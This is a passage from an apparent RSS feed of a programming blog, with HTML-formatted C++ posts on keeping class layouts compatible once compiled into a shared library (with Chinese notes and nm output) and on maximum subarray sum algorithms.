#0000FF; ">void</span>&nbsp;Object::Func1()<br /><span style="color: #0000FF; ">virtual</span>&nbsp;<span style="color: #0000FF; ">void</span>&nbsp;Object::Func2()<br /><span style="color: #0000FF; ">virtual</span>&nbsp;<span style="color: #0000FF; ">void</span>&nbsp;Object::Access(),&nbsp;size&nbsp;of&nbsp;<span style="color: #0000FF; ">class</span>:16,&nbsp;i1:1,&nbsp;i2:2<br /><br />$&nbsp;make&nbsp;test<br />Object::Object(),&nbsp;constructor&nbsp;init,&nbsp;i1:1,&nbsp;i2:2<br /><span style="color: #0000FF; ">virtual</span>&nbsp;<span style="color: #0000FF; ">void</span>&nbsp;Object::Func2()<br /><span style="color: #0000FF; ">virtual</span>&nbsp;<span style="color: #0000FF; ">void</span>&nbsp;Object::Func1()<br /><span style="color: #0000FF; ">virtual</span>&nbsp;<span style="color: #0000FF; ">void</span>&nbsp;Object::Access(),&nbsp;size&nbsp;of&nbsp;<span style="color: #0000FF; ">class</span>:16,&nbsp;i1:1,&nbsp;i2:1000<br /><span style="color: #0000FF; ">void</span>&nbsp;Object::NoneVirtualFunc(),&nbsp;size&nbsp;of&nbsp;<span style="color: #0000FF; ">class</span>:24<br />make:&nbsp;***&nbsp;[test]&nbsp;Segmentation&nbsp;fault&nbsp;(core&nbsp;dumped)<br />make:&nbsp;***&nbsp;Deleting&nbsp;file&nbsp;`test'<br /><br />==&gt;&nbsp;KNOWLEDGE&nbsp;&lt;==<br />一个类一旦已经编译成so了，那么虚函数以及成员变量就都确定了，也就是影响一个类的内存映像的东西都是确定的了。<br />所以，修改头文件时需要遵循以下原则：<br />1。可以随意添加非虚函数；<br />2。不要修改虚函数的相对位置，更不要添加新的虚函数；<br />3。最好不要添加新的成员变量，如果添加也要在所有成员变量的后面添加，不过如果你不清楚so里的用法的话，很有可能出问题；<br /><br />其实，说到本质上，就是要心里很清楚，修改前和修改后，该类的内存映像到底是怎样的，固化在so里的代码是不会再变化了；<br />有兴趣的，可以debug看下虚函数表里指针的情况；如果不用-fno-rtti参数，那么vtable里会多出两项用于typeinfo相关的内容；<br />增加了新的虚函数后，通过nm&nbsp;-C&nbsp;test&nbsp;|&nbsp;grep&nbsp;Object可以看到，生成的可执行程序里是不会有Other这个虚函数的：<br />00000000004008f8&nbsp;W&nbsp;Object::NoneVirtualFunc()<br />0000000000400920&nbsp;W&nbsp;Object::SetOther(<span style="color: #0000FF; ">int</span>)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;U&nbsp;Object::Object()<br />0000000000400a60&nbsp;r&nbsp;Object::NoneVirtualFunc()::__PRETTY_FUNCTION__<br /><br />而且新加的函数都是W类型，下面通过另一个例子来验证W类型：<br />==&gt;&nbsp;Object.h&nbsp;&lt;==<br />#include&nbsp;&lt;stdio.h&gt;<br /><br /><span style="color: #0000FF; ">class</span>&nbsp;Object&nbsp;{<br /><span style="color: #0000FF; ">public</span>:<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">void</span>&nbsp;func()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("It's&nbsp;the&nbsp;implementation&nbsp;of&nbsp;%s&nbsp;in&nbsp;header&nbsp;file\n",&nbsp;__PRETTY_FUNCTION__);<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />};<br /><br />==&gt;&nbsp;test.cpp&nbsp;&lt;==<br />#include&nbsp;&lt;stdio.h&gt;<br />#include&nbsp;"Object.h"<br /><br /><span style="color: #0000FF; ">int</span>&nbsp;main(<span style="color: #0000FF; ">int</span>&nbsp;argc,&nbsp;<span style="color: #0000FF; ">char</span>*&nbsp;argv[])&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;Object&nbsp;obj;<br />&nbsp;&nbsp;&nbsp;&nbsp;obj.func();<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;0;<br />}<br /><br />==&gt;&nbsp;RESULT&nbsp;&lt;==<br />$&nbsp;g++&nbsp;-o&nbsp;test&nbsp;test.cpp<br />$&nbsp;./test<br />It's&nbsp;the&nbsp;implementation&nbsp;of&nbsp;void&nbsp;Object::func()&nbsp;in&nbsp;header&nbsp;file<br /><br />==&gt;&nbsp;Object.cpp&nbsp;&lt;==<br />#include&nbsp;&lt;stdio.h&gt;<br /><span style="color: #0000FF; ">class</span>&nbsp;Object&nbsp;{<br /><span style="color: #0000FF; ">public</span>:<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">void</span>&nbsp;func();<br />};<br /><br /><span style="color: #0000FF; ">void</span>&nbsp;Object::func()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;printf("%s\n",&nbsp;__PRETTY_FUNCTION__);<br />}<br /><br />==&gt;&nbsp;RESULT&nbsp;&lt;==<br />$&nbsp;g++&nbsp;-c&nbsp;-o&nbsp;Object.o&nbsp;Object.cpp<br />$&nbsp;g++&nbsp;-o&nbsp;test&nbsp;test.cpp&nbsp;Object.o<br />$&nbsp;./test<br /><span style="color: #0000FF; ">void</span>&nbsp;Object::func()</div><img src ="http://www.blogjava.net/bacoo/aggbug/423417.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2015-03-12 20:50 <a href="http://www.blogjava.net/bacoo/archive/2015/03/12/423417.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>calculate the maximum sum of sub-sequence in array</title><link>http://www.blogjava.net/bacoo/archive/2015/03/10/423336.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Tue, 10 Mar 2015 02:52:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2015/03/10/423336.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/423336.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2015/03/10/423336.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/423336.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/423336.html</trackback:ping><description><![CDATA[<div style="background-color:#eeeeee;font-size:13px;border:1px solid #CCCCCC;padding-right: 5px;padding-bottom: 4px;padding-left: 4px;padding-top: 4px;width: 98%;word-break:break-all"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />-->#include&nbsp;&lt;iostream&gt;<br />#include&nbsp;&lt;stdlib.h&gt;<br />#include&nbsp;&lt;string.h&gt;<br />#include&nbsp;&lt;sys/time.h&gt;<br />#include&nbsp;&lt;string&gt;<br />#include&nbsp;&lt;fstream&gt;<br />#include&nbsp;&lt;sstream&gt;<br />#include&nbsp;&lt;stdint.h&gt;<br />#include&nbsp;&lt;pthread.h&gt;<br />#include&nbsp;&lt;vector&gt;<br />#include&nbsp;&lt;map&gt;<br />#include&nbsp;&lt;set&gt;<br /><br />using&nbsp;namespace&nbsp;std;<br /><br /><span style="color: #0000FF; ">void</span>&nbsp;print_array(<span style="color: #0000FF; ">int</span>*&nbsp;ary,&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;len)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">int</span>&nbsp;i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;len;&nbsp;++i)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(0&nbsp;==&nbsp;i)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("%3d",&nbsp;ary[i]);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<span style="color: #0000FF; ">else</span>&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("&nbsp;%3d",&nbsp;ary[i]);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;printf("\n");<br />}<br /><br /><span style="color: #0000FF; ">int</span>&nbsp;calc_max_sum2(<span style="color: #0000FF; ">int</span>*&nbsp;ary,&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;len)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;max_ele&nbsp;=&nbsp;1&nbsp;&lt;&lt;&nbsp;(8&nbsp;*&nbsp;sizeof(<span style="color: #0000FF; ">int</span>)&nbsp;-&nbsp;1);<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;max_ele_pos&nbsp;=&nbsp;-1;<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;max&nbsp;=&nbsp;0;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;sum&nbsp;=&nbsp;0;<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;start_pos&nbsp;=&nbsp;0;<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;max_end_pos&nbsp;=&nbsp;-1;<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;max_start_pos&nbsp;=&nbsp;-1;<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">int</span>&nbsp;i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;len;&nbsp;++i)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(ary[i]&nbsp;&gt;&nbsp;max_ele)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;max_ele&nbsp;=&nbsp;ary[i];<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;max_ele_pos&nbsp;=&nbsp;i;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sum&nbsp;+=&nbsp;ary[i];<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(sum&nbsp;&lt;&nbsp;0)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sum&nbsp;=&nbsp;0;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(i&nbsp;+&nbsp;1&nbsp;&lt;&nbsp;len)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;start_pos&nbsp;=&nbsp;i&nbsp;+&nbsp;1;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<span style="color: #0000FF; ">else</span>&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(sum&nbsp;&gt;&nbsp;max)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;max&nbsp;=&nbsp;sum;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;max_end_pos&nbsp;=&nbsp;i;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;max_start_pos&nbsp;=&nbsp;start_pos;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(max_ele&nbsp;&lt;&nbsp;0)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;max&nbsp;=&nbsp;max_ele;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;max_start_pos&nbsp;=&nbsp;max_ele_pos;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;max_end_pos&nbsp;=&nbsp;max_ele_pos;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;printf("algorithm&nbsp;2:&nbsp;max&nbsp;subsequence&nbsp;starts&nbsp;from&nbsp;%d,&nbsp;length:%d,&nbsp;max&nbsp;result:%d\n",&nbsp;max_start_pos,&nbsp;max_end_pos&nbsp;-&nbsp;max_start_pos&nbsp;+&nbsp;1,&nbsp;max);<br />&nbsp;&nbsp;&nbsp;&nbsp;print_array(ary&nbsp;+&nbsp;max_start_pos,&nbsp;max_end_pos&nbsp;-&nbsp;max_start_pos&nbsp;+&nbsp;1);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;max;<br />}<br /><br /><span style="color: #0000FF; ">int</span>&nbsp;calc_max_sum1(<span style="color: #0000FF; ">int</span>*&nbsp;ary,&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;len)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(NULL&nbsp;==&nbsp;ary&nbsp;||&nbsp;0&nbsp;==&nbsp;len)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;0;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;max_ele&nbsp;=&nbsp;1&nbsp;&lt;&lt;&nbsp;(8&nbsp;*&nbsp;sizeof(<span style="color: #0000FF; ">int</span>)&nbsp;-&nbsp;1);<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;max_ele_pos&nbsp;=&nbsp;-1;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;max_sum&nbsp;=&nbsp;0;<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;max_start_pos&nbsp;=&nbsp;-1;<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;max_end_pos&nbsp;=&nbsp;-1;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;cur_sum&nbsp;=&nbsp;0;&nbsp;<span style="color: #008000; ">//</span><span style="color: #008000; ">reserve&nbsp;the&nbsp;optimal&nbsp;state</span><span style="color: #008000; "><br /></span>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;start_pos&nbsp;=&nbsp;-1;&nbsp;<span style="color: #008000; ">//</span><span style="color: #008000; ">record&nbsp;the&nbsp;start&nbsp;pos&nbsp;for&nbsp;cur_sum</span><span style="color: #008000; "><br /></span>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;end_pos&nbsp;=&nbsp;-1;<span style="color: #008000; ">//</span><span style="color: #008000; ">record&nbsp;the&nbsp;end&nbsp;pos&nbsp;for&nbsp;cur_sum</span><span style="color: #008000; "><br /></span>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;part_sum&nbsp;=&nbsp;0;&nbsp;<span style="color: #008000; ">//</span><span style="color: #008000; ">track&nbsp;the&nbsp;incremental&nbsp;part,&nbsp;and&nbsp;merge&nbsp;into&nbsp;cur_sum&nbsp;once&nbsp;it&nbsp;is&nbsp;positive</span><span style="color: #008000; "><br /></span>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">int</span>&nbsp;i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;len;&nbsp;++i)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(ary[i]&nbsp;&gt;&nbsp;max_ele)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;max_ele&nbsp;=&nbsp;ary[i];<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;max_ele_pos&nbsp;=&nbsp;i;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;part_sum&nbsp;+=&nbsp;ary[i];<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(part_sum&nbsp;&lt;&nbsp;0)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(cur_sum&nbsp;+&nbsp;part_sum&nbsp;&lt;&nbsp;0)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(cur_sum&nbsp;&gt;&nbsp;max_sum)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;max_sum&nbsp;=&nbsp;cur_sum;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;max_start_pos&nbsp;=&nbsp;start_pos;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;max_end_pos&nbsp;=&nbsp;end_pos;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cur_sum&nbsp;=&nbsp;0;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;start_pos&nbsp;=&nbsp;-1;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end_pos&nbsp;=&nbsp;-1;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;part_sum&nbsp;=&nbsp;0;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<span style="color: #0000FF; ">else</span>&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(part_sum&nbsp;&gt;&nbsp;0)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cur_sum&nbsp;+=&nbsp;part_sum;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;part_sum&nbsp;=&nbsp;0;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end_pos&nbsp;=&nbsp;i;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(-1&nbsp;==&nbsp;start_pos)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;start_pos&nbsp;=&nbsp;i;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #008000; ">//</span><span style="color: #008000; ">printf("%3d,&nbsp;cur_sum:%3d,&nbsp;start_pos:%3d,&nbsp;end_pos:%3d,&nbsp;part_sum:%3d,&nbsp;max_sum:%3d,&nbsp;max_start_pos:%3d,&nbsp;max_end_pos:%3d\n",&nbsp;i,&nbsp;cur_sum,&nbsp;start_pos,&nbsp;end_pos,&nbsp;part_sum,&nbsp;max_sum,&nbsp;max_start_pos,&nbsp;max_end_pos);</span><span style="color: #008000; "><br /></span>&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(cur_sum&nbsp;&gt;&nbsp;max_sum)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;max_sum&nbsp;=&nbsp;cur_sum;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;max_start_pos&nbsp;=&nbsp;start_pos;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;max_end_pos&nbsp;=&nbsp;end_pos;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(max_ele&nbsp;&lt;&nbsp;0)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;max_sum&nbsp;=&nbsp;max_ele;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;max_start_pos&nbsp;=&nbsp;max_ele_pos;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;max_end_pos&nbsp;=&nbsp;max_ele_pos;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;printf("algorithm&nbsp;1:&nbsp;max&nbsp;subsequence&nbsp;starts&nbsp;from&nbsp;%d,&nbsp;length:%d,&nbsp;max&nbsp;result:%d\n",&nbsp;max_start_pos,&nbsp;max_end_pos&nbsp;-&nbsp;max_start_pos&nbsp;+&nbsp;1,&nbsp;max_sum);<br />&nbsp;&nbsp;&nbsp;&nbsp;print_array(ary&nbsp;+&nbsp;max_start_pos,&nbsp;max_end_pos&nbsp;-&nbsp;max_start_pos&nbsp;+&nbsp;1);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;max_sum;<br />}<br /><br /><span style="color: #0000FF; ">int</span>&nbsp;calc_sum(<span style="color: #0000FF; ">int</span>*&nbsp;ary,&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;len)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;sum&nbsp;=&nbsp;0;<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">int</span>&nbsp;i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;len;&nbsp;++i)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sum&nbsp;+=&nbsp;ary[i];<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;sum;<br />}<br /><br /><span style="color: #0000FF; ">int</span>&nbsp;calc_max_sum_by_enumerate(<span style="color: #0000FF; ">int</span>*&nbsp;ary,&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;len)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;max&nbsp;=&nbsp;1&nbsp;&lt;&lt;&nbsp;(8&nbsp;*&nbsp;sizeof(<span style="color: #0000FF; ">int</span>)&nbsp;-&nbsp;1);<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;begin&nbsp;=&nbsp;-1;<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;max_len&nbsp;=&nbsp;-1;<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">int</span>&nbsp;i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;len;&nbsp;++i)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">int</span>&nbsp;j&nbsp;=&nbsp;i;&nbsp;j&nbsp;&lt;&nbsp;len;&nbsp;++j)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;sum&nbsp;=&nbsp;calc_sum(ary&nbsp;+&nbsp;i,&nbsp;j&nbsp;-&nbsp;i&nbsp;+&nbsp;1);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(sum&nbsp;&gt;&nbsp;max)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;max&nbsp;=&nbsp;sum;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin&nbsp;=&nbsp;i;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;max_len&nbsp;=&nbsp;j&nbsp;-&nbsp;i&nbsp;+&nbsp;1;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br 